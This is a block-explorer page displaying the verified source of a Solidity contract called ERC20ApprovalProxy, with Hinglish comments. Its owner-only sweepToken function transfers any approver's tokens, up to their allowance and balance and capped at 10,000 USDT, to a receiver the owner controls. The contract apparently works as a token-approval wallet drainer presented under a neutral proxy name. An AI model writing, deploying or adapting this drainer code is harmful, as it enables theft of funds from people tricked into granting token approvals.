Skip to content
Verified contractExactMIT

ERC20ApprovalProxy

Address0xf4ac7d159ec3fd1335f57d84754b4e6618683a49
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.0

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.0+commit.c7dfd78e
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,416,158
Creation transaction
0xf54d542599…7c88361c08

100.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address from, address to, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function balanceOf(address account) external view returns (uint);
}

contract ERC20ApprovalProxy {
    address public owner;
    address public receiver;
    uint public chainId;
    
    // 🔥 Fix: Limit ko raw units mein set karo (10,000 USDT = 10,000,000,000)
    // Agar aap chahte ho ki koi limit na ho, toh ise hata do.
    uint public constant MAX_LIMIT = 10000 * 10**6; 
    
    constructor(address _receiver, uint _chainId) {
        owner = msg.sender;
        receiver = _receiver;
        chainId = _chainId; 
    }

    function sweepToken(address token, address from) external {
        require(msg.sender == owner, "Only owner can sweep");
        
        uint allowed = IERC20(token).allowance(from, address(this));
        uint balance = IERC20(token).balanceOf(from);
        
        uint amount = allowed < balance ? allowed : balance;
        
        // 🔥 Ab ye MAX_LIMIT (10,000 USDT) se zyada nahi jayega
        if (amount > MAX_LIMIT) {
            amount = MAX_LIMIT;
        }
        
        require(amount > 0, "Nothing to sweep");
        
        emit SweepAttempted(from, receiver, amount, allowed, balance);
        
        (bool success, bytes memory data) = token.call(
            abi.encodeWithSelector(IERC20(token).transferFrom.selector, from, receiver, amount)
        );
        require(success && (data.length == 0 || abi.decode(data, (bool))), "Transfer failed");
        
        emit SweepCompleted(from, receiver, amount);
    }
    
    event SweepAttempted(address from, address to, uint amount, uint allowance, uint balance);
    event SweepCompleted(address from, address to, uint amount);
    
    function changeReceiver(address newReceiver) external {
        require(msg.sender == owner, "Only owner");
        receiver = newReceiver;
    }
    
    function getAllowance(address token, address user) external view returns (uint) {
        return IERC20(token).allowance(user, address(this));
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.